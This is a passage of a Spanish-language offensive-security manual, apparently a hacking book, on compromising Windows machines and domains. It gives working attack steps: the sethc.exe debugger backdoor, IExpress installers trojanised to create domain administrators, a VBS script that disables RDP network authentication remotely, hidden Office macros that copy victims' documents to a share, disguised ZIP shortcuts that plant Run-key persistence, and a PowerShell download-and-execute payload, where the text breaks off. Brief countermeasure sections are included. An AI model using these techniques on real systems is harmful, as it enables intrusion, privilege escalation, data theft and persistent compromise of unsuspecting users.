1. Arranque sobre el sistema Empezaremos por acceder a un puesto de trabajo o un servidor en el cual no disponemos de permisos para autenticarnos. Ejemplo Si ha olvidado la contraseña de su única cuenta de usuario en su PC personal. Esta técnica resulta muy potente, ya que permite también cambiar la contraseña en cualquier PC, servidor o controlador de dominio. También veremos, por lo tanto, cómo cambiar la contraseña del administrador del domino. Se necesita, sin embargo, el acceso físico al equipo objetivo, y permite obtener un acceso completo con los permisos de sistema en las versiones siguientes:



Windows Vista



Windows 7



Windows 8 Pro



Windows Server 2008/2008 R2



Windows Server 2012

Conseguiremos esto modificando el registro offline del objetivo. Para llevarlo a cabo, arrancamos el equipo insertando un DVD original de Windows de una de las versiones anteriormente citadas (o puede arrancar en red con PXE si su empresa despliega Windows con WDS - Windows Deployment Service).

El DVD de instalación de Windows puede copiarse en una llave USB si es necesario. Encontrará las informaciones pertinentes para ello en Internet. Elija el idioma de su teclado y haga clic en Siguiente. En la siguiente ventana, pulse simultáneamente [Mayús][F10]. Una ventana aparece en pantalla. Escriba regedit.exe para arrancar el editor del registro.

2. Modificación del registro offline El editor del registro nos va a permitir modificar el funcionamiento normal de un ejecutable; lo reemplazaremos por la ejecución de la línea de comandos. Solo un número limitado de aplicaciones son ejecutables al abrir una sesión normal. La asignación de teclas especiales, el teclado virtual y en general las aplicaciones de gestión de la ergonomía lo son. En nuestro ejemplo, reemplazaremos el funcionamiento de las teclas especiales del equipo objetivo por la ejecución de la línea de comandos.

La ejecución normal de las teclas especiales se realiza pulsando repetidamente la tecla [Mayús] (5x[Mayús]).

Volvamos al editor del registro. Haga clic en HKEY_LOCAL_MACHINE.

Vaya al menú Archivo - Cargar subárbol. Es importante descargarlo al final de la modificación porque de lo contrario los cambios no se tendrán en cuenta.

El fichero de registro que se ha de cargar se sitúa en la unidad D, salvo en el caso de un equipo con doble arranque. Descripción de las unidades C: es el disco de sistema utilizado por el equipo objetivo para arrancar. Está oculto cuando se arranca normalmente el equipo. D: es generalmente el disco del sistema operativo objetivo (el disco C en un arranque normal). E: es un posible disco de datos o un segundo disco de sistema en el caso de un arranque dual. X: es el disco utilizado por Windows PE para arrancar Windows PE. No sirve de nada cambiar parámetros en él: no se conservará nada.

El fichero de registro que nos interesa es SOFTWARE.

Recorra el sistema hasta el siguiente fichero: D:\Windows\System32\config\Software Dé al fichero cargado el nombre Soft.

Seleccione en el fichero importado: Key_Local_Machine\Soft\Microsoft\Windows NT\Current Version\Image File Execution Options\ Añada una clave de registro debajo llamada Sethc.exe, añada un valor de tipo cadena «String» con el nombre Debugger. Dé seguidamente a esta nueva clave el valor cmd.exe. Se muestra el resultado en la imagen siguiente.

Una vez realizada esta modificación, es importante descargar el subárbol Soft correctamente para que los cambios se tengan en cuenta al reiniciar el sistema. Para ello: Seleccione y contraiga todas las claves hasta la raíz Soft, que debe estar seleccionada, como en la imagen siguiente:

En el menú Archivo, haga clic en Descargar subárbol.

3. Utilización del hack sobre distintos sistemas Ya puede cerrar el editor del registro y reiniciar el PC con normalidad. Hemos modificado el funcionamiento normal de las teclas especiales ejecutando la línea de comandos. Ahora probamos el resultado, una vez el equipo se haya reiniciado. Pulse cinco veces seguidas la tecla [Mayús].

Ahora es posible arrancar aplicaciones, pero algunas, como el Panel de control, que necesita el escritorio de Windows, no funcionarán. Vamos, por lo tanto, a ejecutar la consola MMC que nos permitirá gestionar los usuarios, cambiar sus contraseñas, añadir un nuevo usuario o agregar un usuario existente al grupo de administradores locales.

Llegados a este punto, es posible gestionar todo el equipo y sus ficheros sin necesidad de estar autenticados. Teclee mmc.exe en la consola y después, en el menú Archivo - Agregar o quitar complementos, haga clic en Usuarios y grupos locales. Haga clic en el botón Agregar y después en Aceptar.

Este ejemplo muestra la modificación de una cuenta de usuario en Windows 7:

Es posible hacer lo mismo con las demás versiones anteriormente mencionadas, como en el ejemplo que sigue, donde se demuestra esta misma técnica en un sistema Windows Server 2012.

Si aplicamos esta técnica en el DC (controlador de dominio), veremos que la consola Usuarios y equipos de Active Directory está presente dentro del MMC. Pero también podemos modificar, añadir, eliminar todos los objetos de Active Directory, DNS (Domain Name System), solicitar un certificado, modificar la configuración de todos los servicios, añadir o eliminar un rol, utilizar PowerShell, modificar las políticas de grupo, etc. A continuación vemos la consola de gestión de usuarios y equipos de Active Directory.

Vemos en la siguiente imagen la gestión del DNS, de los certificados, de las políticas de grupo, y todo esto sin estar autenticados en el DC:

4. Contramedidas Para evitar que un sistema pueda modificarse offline, puede activar Syskey o configurar BitLocker. Para evitar o reducir el riesgo de modificación sobre un controlador de dominio en una sucursal, puede instalar RODC (Read Only Domain Controller) en vez de un controlador de dominio completo.

Trucar una aplicación con las herramientas integradas en Windows Como habrá constatado con la técnica anterior, es necesario arrancar con un soporte físico en el equipo objetivo. Esto no siempre es posible en el contexto de un PC de una empresa. Vamos a ver, por lo tanto, cómo obtener los permisos de administrador, de sistema o de administrador de dominio. Se trata de un ataque en dos fases: la fase técnica y el desafío humano.

En la parte técnica, vamos a esconder una línea de comandos, una clave de registro, un script u otro ejecutable en un programa legítimo, que no despertará la desconfianza de un técnico del departamento de informática. El desafío humano consiste en hacer que una persona objetivo ejecute un programa modificado. Eventualmente el objetivo puede disponer de permisos superiores a los nuestros si fuese necesario. Cogeremos en nuestro ejemplo 7zip y le añadiremos una clave de registro para obtener los permisos de sistema en el equipo local. Hemos elegido 7zip, pero hubiese podido ser cualquier otro programa, como una actualización de Adobe, un controlador de impresión, un software de grabación, una aplicación profesional, un salvapantallas, un códec de vídeo, etc.

1. Tomar el rol de sistema en su puesto de trabajo o su servidor Usaremos la clave de registro obtenida en la sección anterior para nuestro primer ejemplo. Podremos arrancar después la línea de comandos con los permisos de sistema en un equipo bloqueado. Empezaremos por crear un fichero de registro. Edite un nuevo fichero con el Bloc de notas llamado modif.reg. Añada el texto siguiente y guarde las modificaciones. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options\sethc.exe] "debugger"="cmd.exe" Ahora vamos a llevar a cabo la modificación técnica, que consiste en instalar una clave de registro pirata para después ejecutar nuestro programa legítimo.

Este tipo de modificación, llamada Wrapper, es usada habitualmente por los piratas para engañar los controladores, los juegos, las aplicaciones piratas, los generadores de claves de licencia, que los usuarios se descargan con frecuencia en Internet. El programa integrado en el sistema de paquetes iexpress.exe nos va a permitir realizar este ataque. La herramienta se instala en Windows desde la versión 2000. Cree un acceso directo en el escritorio a iexpress.exe.

En el acceso directo, cambie la carpeta de ejecución en Iniciar en para indicar una en la que posea permisos de escritura.

Ejecute Iexpress.exe desde su acceso directo y use los parámetros por defecto.

Elija extraer y ejecutar comandos.

Dé un nombre al paquete de instalación.

Deje la configuración por defecto hasta el paso de añadir ficheros.

Añada el fichero MSI de instalación de 7zip y el fichero modif.reg que ha creado con anterioridad.

Los ficheros añadidos pueden ser de cualquier tipo, como exe, msi, reg, bat, vbs, ps1, txt, zip, jpg, pdf, etc. Resulta interesante, para nosotros, añadir ficheros que se puedan ejecutar directamente o mediante la línea de comandos. En nuestro primer ejemplo, hemos añadido un fichero MSI y un fichero REG. Vamos ahora a configurar IExpress para ejecutar primero el fichero de registro y después la instalación de 7zip.

En el primer campo, Install Program, escriba: regedit.exe /s modif.reg En el campo Post Install Command, escriba: msiexec /i 7z920x64.msi Configuraremos las funciones Install Program y Post Install Command de IExpress de una manera no convencional. Por defecto, el programa solicita un ejecutable, pero es posible indicar un comando para ejecutar un fichero bat, un script o cualquier elemento que necesite parámetros.

Es importante dar el programa que va a permitir ejecutar un fichero bat, script o msi, o una clave de registro. Para un fichero EXE, no es necesario añadir nada: notepad.exe Para un fichero REG, debe preceder el nombre del fichero por Regedit.exe /s FICHERO.REG

regedit.exe /s:

El parámetro

/s indica un modo silencioso.

Para un fichero MSI, debe preceder el nombre del fichero por

msiexec.exe /i:

Msiexec.exe /i FICHERO.MSI El parámetro

/i indica que se va a realizar una instalación.

Para un fichero BAT, debe preceder el nombre del fichero por

cmd.exe /c:

Cmd.exe /c FICHERO.BAT El parámetro /c de cmd indica que la línea de comandos se ejecuta y después se cierra. comandos se ejecuta y después se queda abierta. Para un fichero VBS, debe preceder el nombre del fichero por

wscript:

Wscript.exe FICHERO.VBS Para un fichero PS1, debe preceder el nombre del fichero por

powershell:

Powershell.exe FICHERO.PS1 Siga con los parámetros por defecto y guarde su paquete marcando las dos opciones.

/k indica que la línea de

La primera opción esconde la extracción de los ficheros y la segunda permite obtener el nombre completo de los ficheros en el momento de la extracción. Sin esta última opción, tendría problemas de ejecución, ya que Windows no encontraría la ruta de sus ficheros. Continúe con los parámetros por defecto hasta la compilación.

Ahora, antes de pedir a un administrador o al soporte que ejecute su aplicación, debe configurar su programa. Debe asegurarse de que la aplicación pedirá elevar los permisos cuando se ejecute, si no el script no tendrá ningún impacto.

Esta fase es necesaria solamente si deseamos hacer ejecutar una aplicación pirata a un administrador. El enfoque Wrapper puede usarse para trasformar la instalación de un salvapantallas en un programa de control que instale un usuario que no dispone de permisos de administrador. Veremos en los siguientes capítulos que un simple usuario dispone de suficientes privilegios como para comprometer sus informaciones y su contraseña. Para ello, haga clic con el botón derecho del ratón en el fichero creado, elija Propiedades y vaya a la pestaña Compatibilidad. Marque la opción Ejecutar este programa como administrador.

Ha llegado la hora de probar nuestra aplicación. La única cosa que verá la persona que ejecute nuestro instalador es 7zip, y sin embargo el registro habrá sido modificado.

Podemos jugar ahora con los privilegios de sistema del equipo. Bloquee su equipo pulsando simultáneamente las teclas [Windows] L. Una vez el ordenador bloqueado, pulse rápidamente la tecla [Mayús] cinco veces.

La ventana de comandos se abre y le da acceso a la ejecución de muchos programas.

2. Tomar el rol de System en un servidor remoto o en un controlador de dominio Cuando una persona de soporte le instala una aplicación con una cuenta con permisos de administrador local, lo habitual es que suela utilizar una cuenta con el mismo usuario y contraseña para todos los PC o incluso todos los servidores. Es incluso muchas veces administrador del dominio en el momento de instalar su programa. Si este es el caso, en vez de modificar solamente nuestro equipo, podríamos obligar a nuestra víctima a otorgarnos los privilegios sobre un DC o un servidor cualquiera. Sin embargo, vamos a enfrentarnos a tres problemas. El primero es que hay que editar el registro remoto para permitirnos reemplazar el funcionamiento de las teclas remanentes. El segundo es que no estamos seguros de que el servicio de escritorio remoto esté activo en el servidor remoto. El tercero es que, por defecto, un servidor RDP, desde Windows Vista/Server 2008, no nos autoriza a conectarnos directamente al escritorio, sino que nos obliga a utilizar una cuenta válida antes de acceder a este. Vamos a dar solución a estos tres problemas con un fichero VBS (Visual Basic Script) que modificará el registro y aplicará una directiva de grupo que obligue al servidor RDP a estar activo y a conectarse como en versiones anteriores. Vamos a «wrappear» 7zip como ya hemos hecho, y esta vez ejecutaremos un fichero VBS. Abra el Bloc de notas y escriba el código siguiente reemplazando remoto que desea controlar. Dim Equipo, objReg, Ruta, Nombreclave, Valor

Equipo_objetivo por el nombre del equipo

HKEY_LOCAL_MACHINE = &H80000002 Equipo = "Equipo_objetivo" Set objReg = GetObject("winmgmts:\\" & Equipo

&

"\root\default:StdRegProv") Ruta = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" objReg.CreateKey HKEY_LOCAL_MACHINE, Ruta NombreClave = "Debugger" Valor = "cmd.exe" objReg.SetSTRINGValue HKEY_LOCAL_MACHINE, Ruta, NombreClave, Valor

ruta2 = "SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" objReg.CreateKey HKEY_LOCAL_MACHINE, ruta2 NombreClave2 = "UserAuthentication" Valor2 = 0 objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta2, NombreClave2, Valor2 NombreClave3="SecurityLayer" Valor3 = 0 objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta2, NombreClave3, Valor3

Ruta4 = "SYSTEM\CurrentControlSet\Control\Terminal Server" objReg.CreateKey HKEY_LOCAL_MACHINE, Ruta4 NombreClave4 = "fDenyTSConnections" Valor4 = 0 objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta4, NombreClave4, Valor4 Este fichero se puede descargar en nuestro sitio web. La primera clave de registro modificada (ruta y valor) es una clave que ya hemos visto en los otros ejemplos. Reemplaza remotamente el funcionamiento normal de la aplicación de las teclas especiales. SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe Debugger= cmd.exe La parte del script que utiliza Ruta2, Valor2 y Valor3 activa una directiva de grupo en el equipo remoto, obligándole a usar una versión sin NLA (Network Layer Authentication) para la autenticación de las sesiones RDP, lo que nos permitirá llegar directamente al escritorio remoto. SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services UserAuthentication = 0

SecurityLayer = 0 La última clave modificada, que usa

Ruta4 y Valor4, activa el servicio RDP en el equipo remoto.

SYSTEM\CurrentControlSet\Control\Terminal Server fDenyTSConnections=0 Volvamos a nuestra aplicación trampa. El desarrollo es muy similar a la creación anterior, exceptuando la fase de añadir los ficheros y la fase siguiente. Cuando añada los ficheros, añada el script VBS, así como el fichero de instalación de 7zip. En el paso siguiente, la fase de configuración de arranque, escriba: Install : Wscript remote.vbs Post install: Msiexec /i 7z920x64.msi

Compile su aplicación y configúrela para que se ejecute con permisos elevados modificando sus propiedades (botón derecho del ratón en la aplicación y seleccionar la pestaña Compatibilidad). Haga ejecutar la aplicación por su administrador o por soporte. Si el servidor o el equipo remoto ha sido adecuadamente modificado, podrá probar ahora la conexión. Arranque la herramienta MSTSC.exe e indique la dirección IP del objetivo. El servidor remoto será reconocido como una versión anterior del servicio RDP. No tendrá que indicar un usuario o una contraseña antes de llegar al escritorio remoto. Acepte simplemente el mensaje haciendo clic en Sí.

Resultado: podremos, durante la petición del nombre de usuario y la contraseña, ejecutar la línea de comandos pulsando cinco veces la tecla [Mayús].

3. Llegar a ser administrador del dominio Vamos a reproducir el mismo principio con objeto de engañar a una nueva aplicación para instalar GIMP y crear una cuenta de administrador de dominio. Vamos a crear primero un fichero install.bat para añadir un usuario al Active Directory y hacer que este nuevo usuario pertenezca al grupo de administradores.

Net User permite añadir o eliminar un usuario, cambiar la contraseña y realizar multitud de funciones. Emparejado con /DOMAIN, los comandos ya no se ejecutan localmente sino que se ejecutan en el controlador de dominio.

Cree un fichero con el nombre Install.bat con el siguiente contenido: Net user admin P@ssw0rd /add /domain Net group administradores admin /add /domain Este script añadirá el usuario Admin al dominio, y también al grupo de administradores. Ejecute IExpress y configúrelo como en el ejemplo anterior, salvo para el paso de elección de ficheros y el paso siguiente. Añada los ficheros gimp_setup.exe y su fichero install.bat.

Configure los parámetros de instalación como en la imagen que sigue:

Una vez la compilación realizada, configure la pestaña Compatibilidad para que la aplicación se ejecute con privilegios elevados.

Para que el script funcione, debe estar seguro de que lo ejecute una persona que disponga de los permisos de administrador de dominio. Descubrirá en los capítulos siguientes técnicas que apuntan a personas que tienen pocos privilegios y que modifican partes del sistema editables por todos.

4. Contramedidas Para evitar este tipo de ataques, puede bloquear el uso de la línea de comandos, de PowerShell, de IExpress.exe y autorizar a ejecutarse solamente las aplicaciones firmadas en los puestos clientes con la ayuda de políticas de grupo y restricciones de software. Le aconsejamos también poner en marcha un procedimiento de gestión de prueba y de validación de las aplicaciones antes del despliegue global de estas. Las cuentas de usuario de los técnicos de soporte informático que realizan la instalación de programas no deben tener privilegios de administradores de dominio ni de administradores de servidores. Solo necesitan los permisos de administradores de los equipos. Es posible llegar a este resultado utilizando cuentas restringidas con la ayuda de las políticas de grupo. Los usuarios no deben ser administradores de su puesto de trabajo.

Engañar con un documento de Office 1. Ejecutar un script o un programa Entre las herramientas de la suite de Microsoft Office, encontramos los scripts VBA (Visual Basic for Applications). Desde la versión de Office 2003, Microsoft ha definido un nivel de seguridad alto para las macros. Esto debería proteger de este tipo de ataques (ver el capítulo Búsqueda de información). Sin embargo, numerosas empresas necesitan usar las macros en Excel y permiten reducir, por lo tanto, la seguridad a lo mínimo.

Desde Office 2007, Microsoft ha introducido un nuevo formato docm para los ficheros que contienen macros. Para ser discretos durante nuestro ataque, favoreceremos el antiguo formato, que aún funciona muy bien y que tiene la ventaja de hacerlo en todas las versiones de Office, desde la 2000 hasta la 2013. Vamos a transformar un fichero de Word clásico en una herramienta para añadir con Office 2013, sin ser detectados, un administrador de dominio. Para ello vamos a arrancar una línea de comandos al abrir nuestro fichero.

Un documento de Office que ejecuta una macro sin reservas es más peligroso que una aplicación, ya que resulta más discreto. Una macro VBA permite gestionar los ficheros, el Registro y el Active Directory, conectarse a la red y a Internet, etc. Abra Microsoft Word y haga clic en Archivo - Opciones. En la pestaña Personalizar cinta de opciones, marque en la columna de la derecha la pestaña Desarrollador. Finalmente haga clic en el botón Aceptar.

Una vez haya vuelto al documento, haga clic en la pestaña Desarrollador y después en Visual Basic. Vaya a Project (nombre del documento) y haga clic en ThisDocument. En la parte del documento donde es posible escribir código, haga clic en las dos listas desplegables con el fin de obtener Document a la izquierda y Open a la derecha, como en la imagen anterior. Esta es la parte del código que se va a ejecutar en cuanto se abra el documento de Office. Es posible escribir scripts muy complejos para que hagan todo lo que deseamos a la víctima, como descargar un programa, copiar ficheros, cambiar su contraseña, etc. Nuestro objetivo es lanzar un script que creará un usuario en el dominio y que le concederá los permisos de administradores del dominio. Vamos, para ello, a ejecutar un comando gracias a la función Shell de VBA.

Añada el siguiente código:

La función Shell tiene dos parámetros. El primero es la ruta del ejecutable y sus argumentos, cmd /c en nuestro caso. Aparece la salida de la aplicación. Para nuestro ejemplo, utilizamos como segundo parámetro VbHide, que esconde al usuario el programa cuando se ejecuta. Guarde el fichero. Este está listo para ser abierto por la víctima.

2. Rodear la seguridad de las macros La seguridad de Office no se reduce solamente a la seguridad de las macros. Desde Office 2010, Microsoft ha añadido una función de seguridad que protege a los usuarios. Los ficheros se abren ahora por defecto en modo de solo lectura. Se debe explícitamente activar la modificación. Vamos a coger como ejemplo Office 2013 y describiremos el comportamiento de esta nueva funcionalidad.



Un usuario abre un fichero en su puesto de trabajo y el fichero se abre en modo de solo lectura únicamente. Debe activar la modificación. Además, las macros deben activarse.



Un usuario abre un fichero de la red y el fichero se abre en modo de solo lectura únicamente. Debe activar la modificación. Además, las macros deben activarse.



Un usuario abre un fichero que ya ha modificado por lo menos una vez en su puesto de trabajo o en red. El fichero se abre directamente con el permiso de modificación, pero la macro no se ejecuta.



Un usuario abre un fichero en su puesto de trabajo. Activa la modificación de este y las macros. El fichero será validado. Si reabre el fichero, este tendrá activadas tanto la modificación como las macros.



Un usuario abre un fichero de la red que ya ha modificado por lo menos una vez y ya ha ejecutado las macros. El fichero se abre directamente con las modificaciones activadas y las macros se ejecutan. Se debe haber aceptado una primera vez la ejecución de las macros.



Un usuario abre un fichero en su puesto de trabajo en una zona de confianza. El fichero se abre en modo modificación y las macros se ejecutan sin solicitar permiso alguno al usuario.



Un usuario abre un fichero de la red en una zona de confianza, con un sistema donde Office ha sido configurado para autorizar sitios de red como dignos de confianza. El fichero se abre en modo de modificación y las macros se ejecutan sin pedir opinión al usuario.

Para desbaratar la seguridad de las macros, debe hacer que se ejecute el fichero en una zona autorizada o modificar un fichero ya validado.

En la instalación de Office, se autorizan varias carpetas en la máquina local. Algunas de estas carpetas se encuentran en la carpeta del usuario y por lo tanto son modificables para este.

Los administradores configuran en general otras carpetas para dejar plantillas. Si estas plantillas se encuentran en red, se suelen añadir a la configuración de las rutas que se consideran como zonas de confianza para Office. Resultado: es posible añadir ficheros en estos directorios y ejecutar macros por un usuario como si fuesen macros firmadas, sin protección alguna, ni tan siquiera un mensaje de aviso. Por lo tanto, ¿cómo podemos encontrar las zonas ya autorizadas en su sistema, así como las zonas indicadas por los administradores de sistemas? Vamos a tratar el ejemplo con Word 2013. Ejecute Regedit.exe y vaya a la clave siguiente: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\ Security\Trusted Locations\Location2 Verá allí una de las zonas autorizadas por defecto:

\Office\15.0\ corresponde a la versión Office 2013. Encontrará esta clave también para Excel y los demás productos de la suite. La ruta «%APPDATA%\Microsoft\Word\Startup» se encuentra dentro del perfil de usuario. «%APPDATA%» corresponde a «C:\Users\Username\App-Data\Roaming\» Encontrará también la ruta «C:\Program Files\Microsoft Office\Templates\», que contiene todas las plantillas por defecto. Es necesario disponer de privilegios de administrador para poder escribir en esta carpeta. Si es el caso, podrá modificar las plantillas bases añadiéndoles un script de su propia cosecha. Las rutas autorizadas por el administrador son las configuradas en las directivas de grupo. Vaya en el registro hasta la clave que sigue: HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\15.0\Word\ Security\Trusted locations

Encontrará los directorios definidos como seguros por su administrador. Podrá ver también si los sitios de red han sido autorizados como zonas de confianza por su administrador.

La clave allownetworklocations debe tener el valor 1. Ahora vamos a probar estas rutas con un fichero de Excel modificado para copiar los ficheros del escritorio de la víctima hacia una carpeta compartida. Cree un nuevo fichero de Excel en su puesto de trabajo. Añada la pestaña Programador desde las opciones de Excel como hemos visto anteriormente. En la pestaña Programador, haga clic en Visual Basic. Añada el siguiente código reemplazando \\Server\compartido por su propia carpeta compartida. Private Sub Workbook_Open() x = Shell("cmd /c xcopy %USERPROFILE%\documents\*.* \\Server\compartido\%username%\* /y /c /e", vbHide)

End Sub Guarde el fichero en formato XLS, el formato antiguo de Excel.

Copie el fichero en una carpeta perteneciente a la zona de confianza, a ser posible en una carpeta compartida de la red. Ejemplo C:\Users\username\AppData\Roaming\Microsoft\Templates Abra su fichero de Excel para probar su script. Excel debe abrirse y el script ha de estar escondido. Su ruta de destino «\\Server\compartido\» contiene ahora un directorio con su nombre y los ficheros y carpetas de «Mis documentos». En la medida en que una ruta de red es autorizada por las políticas de grupo, podrá hacer que una víctima abra documentos de Office con macros no firmadas. Podrá asimismo enviarle hacia un fichero o poner un enlace a la intranet. También podrá pedir a un usuario que guarde su plantilla en una determinada carpeta local para que Word lo reconozca adecuadamente. Podrá indicarle entonces como destino una de las rutas definidas como zona de confianza por defecto, como %APPDATA%\Microsoft\Templates. No intuirá que esta ruta, más que otra, es peligrosa para él basándose en el hecho de que allí solo una macro firmada puede ejecutarse. Hemos añadido en nuestro ejemplo un nuevo fichero. Tiene también la posibilidad de modificar un fichero existente. Una plantilla de carta o un justificante de ausencia son modelos ideales. La macro infectaría entonces a todos los usuarios que utilicen estas plantillas.

Las claves de registro que se encuentran en HKEY_CURRENT_USER\Software\Microsoft\Officey permiten editar las zonas de confianza de Office son modificables por el usuario. Por lo tanto, es posible comprometer la seguridad de Office haciendo que la víctima, un simple usuario, ejecute una aplicación trampa que añada una nueva zona de confianza y que active las zonas de confianza de la red.

3. Contramedidas Resulta fundamental limitar la ejecución de macros permitiendo únicamente las macros firmadas por su empresa. Todas las demás, ya sean de personas internas o externas, deben ser bloqueadas. Puede realizar esto instalando su propia autoridad de certificados para firmar sus macros y configurando las políticas de grupo. Debe disponer también de un procedimiento de prueba y de validación de macros antes de ser firmadas, lo que garantizará que no son perjudiciales para la empresa. Si autoriza sitios de red como zonas de confianza para Office, añada únicamente rutas que sean de solo lectura para dejar allí las plantillas. De lo contrario, cualquier usuario podrá dejar allí un fichero de Office modificado y entonces los demás usuarios podrán abrirlo con solo enviarles un enlace hacia dicho fichero en un correo electrónico o por mensajería instantánea.

Modificar un correo electrónico para arrancar una aplicación La ejecución de una aplicación por parte de una víctima no es algo anodino. El capítulo Hacer ejecutar sus aplicaciones trampa le guiará en la manera de manipular a un usuario para que caiga en dicha trampa. Sin embargo, puede que no se deje pillar por la trampa. Nos queda entonces la posibilidad de usar un truco simple

aunque temible para modificar una clave de registro, ejecutar un programa o un script discretamente, creyendo la víctima haber abierto un simple fichero sin peligro alguno. Para ello, vamos a aprovechar una debilidad del explorador, y más precisamente de la presentación en pantalla cuando abrimos un fichero ZIP.

Windows es capaz de abrir los ficheros ZIP sin necesidad de otro programa desde la versión XP. En Windows 8, la apertura de este tipo de extensión se hace por defecto con el explorador aunque se haya instalado otro programa.

1. Enviar un PDF falso desde el exterior En nuestro ejemplo vamos a modificar el registro de la víctima para que se arranque un programa en cuanto inicie la sesión y se abra el fichero que la víctima pensaba abrir. Para ello vamos a encapsular un acceso directo particular en un fichero ZIP. Empiece por crear un nuevo acceso directo con los parámetros mostrados en el siguiente listado. Este acceso directo ejecuta un primer comando, y al añadir «|» ([Alt Gr] 6) ejecuta un segundo comando. cmd.exe /c start reg add HKCU\Software\Microsoft\Windows\Current Version\Run /v myAPP /t REG_SZ /d "c:\Ruta\miApplicacion.exe" /f| explorer "http://servidorweb/directorio/mifichero.pdf"

El fichero de destino puede ser un fichero hospedado en Internet que ha buscado con Google indicando en la búsqueda «filetype: PDF». Dé al acceso directo el mismo nombre que el del fichero de destino.

Modifique el icono de su acceso directo para que refleje el de un fichero PDF.

El cambio de icono sirve únicamente de cobertura por si el usuario se tomase el tiempo de extraer el fichero zip en una carpeta. En este caso, nuestra trampa sería un poco menos visible que sin el icono de un fichero PDF. Haga clic con el botón derecho del ratón en su acceso directo y seleccione Enviar a - Carpeta comprimida. Renombre el fichero ZIP a mifichero.zip. Puede enviar ahora el fichero ZIP por correo o dejarlo como descarga en su intranet. Al abrir el fichero ZIP, la víctima verá el nombre del fichero y el tipo, pero solo prestará atención al nombre.

Haciendo clic en el acceso directo así escondido, el registro será modificado. El fichero mifichero.pdf se abrirá con normalidad en el navegador. El usuario no apercibirá grandes diferencias. Tendrá su fichero tal y como lo esperaba. No tendrá ningún motivo para desconfiar.

El usuario solo ve una consola CMD que se abre rápidamente para que después aparezca su PDF. Acabamos de demostrar la modificación del registro arrancando una ventana de comandos. Hemos utilizado como destino un fichero remoto. Este ataque puede realizarse por lo tanto desde fuera de la empresa. Pero el icono puede no estar en el mismo lugar en el equipo objetivo, y además la consola se abre, rápidamente, pero se abre.

2. Enviar desde dentro un PowerPoint modificado Ahora vamos a modificar esta técnica para hacerla más discreta, y solamente eficaz desde el interior de la empresa. Para ello, vamos a crear un script VBS que redirigirá al usuario a la presentación, en el mismo sentido que en el ejemplo anterior; con la diferencia que el objetivo no verá nada, pero deberá poder acceder al fichero VBS. Cree un documento VBS en los archivos compartidos con el código siguiente: ’Apertura del documento PowerPoint set Prog = CreateObject("wscript.shell") ruta = "\\servidor\compartido\Presentacion.ppt" Prog.run "explorer" + ruta

set Shell

= CreateObject("Shell.Application")

Shell.ShellExecute "cmd.exe" , "/c reg add

HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v myAPP /t REG_SZ /d c:\ruta\miAplicacion.exe /f" , "" , "" , 0 En este script hay dos maneras de ejecutar una aplicación. La primera arranca un programa con todos los parámetros por defecto. La segunda, ShellAplication, permite definir si el programa necesita privilegios elevados, permiso de ejecución y si debe ser visible o no. Ejemplo El script ejecuta CMD con privilegios elevados (Runas). ¡Cuidado! Si el UAC está activo, el usuario deberá validar la petición de ejecución. La aplicación es visible (parámetro «1») y arrancará en la carpeta por defecto. set Shell

= CreateObject("Shell.Application")

Shell.ShellExecute "cmd.exe" , "/k dir" , "" , "runas" , 1 Ejemplo El script arranca CMD con permisos de usuarios, la carpeta de arranque es C:\temp. La aplicación es invisible (parámetro «0»). set Shell

= CreateObject("Shell.Application")

Shell.ShellExecute "cmd.exe" , "/k dir" , "c:\temp" , "" , 0 Cree un acceso directo apuntando al script VBS.

El acceso directo debe contener :

wscript.exe \\servidor\compartido\miscript.vbs

Modifique el icono y el nombre del acceso directo para que se parezca a un documento de PowerPoint. Busque el icono en el directorio de Office. C:\Program Files\Microsoft Office\Office15\PPTICO.EXE Puede ver el resultado una vez realizadas las modificaciones: Haga clic con el botón derecho del ratón en el acceso directo y seleccione Enviar a - Carpeta comprimida. Después renombre el fichero a Presentacion.zip. El nuevo ataque está preparado para su ejecución en el objetivo. Puede comprobarlo primero por usted mismo, en su puesto de trabajo. Aunque solo tenga permisos de usuarios, esta técnica funciona. No verá más que la

presentación abrirse, y sin embargo un script habrá modificado el registro, todo ello de manera completamente oculta.

3. Hacer descargar una aplicación oculta y ejecutarla Con el espíritu del principio visto en los dos capítulos anteriores, vamos a crear un documento falso del tipo XPS. Pero, esta vez, la finalidad será que nuestra víctima se descargue una aplicación sin que se percate, que después se ejecutará mientras se le presenta en pantalla un fichero XPS verdadero para que el usuario no sospeche nada. Todo esto parece complejo de realizar, pero un simple acceso directo bien pensado lo hace posible. Vamos a usar PowerShell para descargar y ejecutar la aplicación, así como para presentar el fichero XPS. PowerShell tiene una función de descarga integrada, BitsTransfer. Esta función puede usarse importando el módulo del mismo nombre. Import-Module BitsTransfer; El uso del comando es simple. Solo se debe indicar una fuente y un destino. Start-BitsTransfer -Source ’http://web/app.exe’ -destination ’c:\temp\app.exe’; Sin embargo, no usaremos esta función, ya que necesita que el servicio de Bits-Transfer sea arrancado: esto no suele ser habitual en todos los sitios. Recordemos que el objetivo es siempre que el ataque sea compatible con el mayor número de sistemas. En su lugar, usaremos un objeto .Net en PowerShell. Vamos a crear un cliente web con .Net sin necesidad de importación alguna en PowerShell. $web = New-Object System.Net.WebClient Después haremos uso de la función DownloadFile indicando una fuente y un destino; la fuente es el sitio web, y el destino, nuestro fichero, que se encuentra en una carpeta existente. $web.DownloadFile(’http://web/app.exe’,’c:\temp\app.exe’) En nuestro ataque, no podremos utilizar un script PowerShell, aunque el equipo esté dentro de la empresa, ya que por defecto solo los scripts firmados están autorizados para su ejecución. Para rodear esta medida de seguridad, vamos a usar la opción -Command, que ejecutará el código contenido entre las { mi comando }. Puede ejecutar varios comandos si los separa con punto y coma. Powershell.exe -command "&{ mi Comando; mi comando }" Vamos a empezar por descargar nuestra aplicación, que abrirá el fichero. Usaremos la carpetapublic/download como carpeta destino. Podríamos también usar una carpeta que se encuentre dentro de %appdata%. La dirección web de nuestra fuente no debe ser muy larga, ya 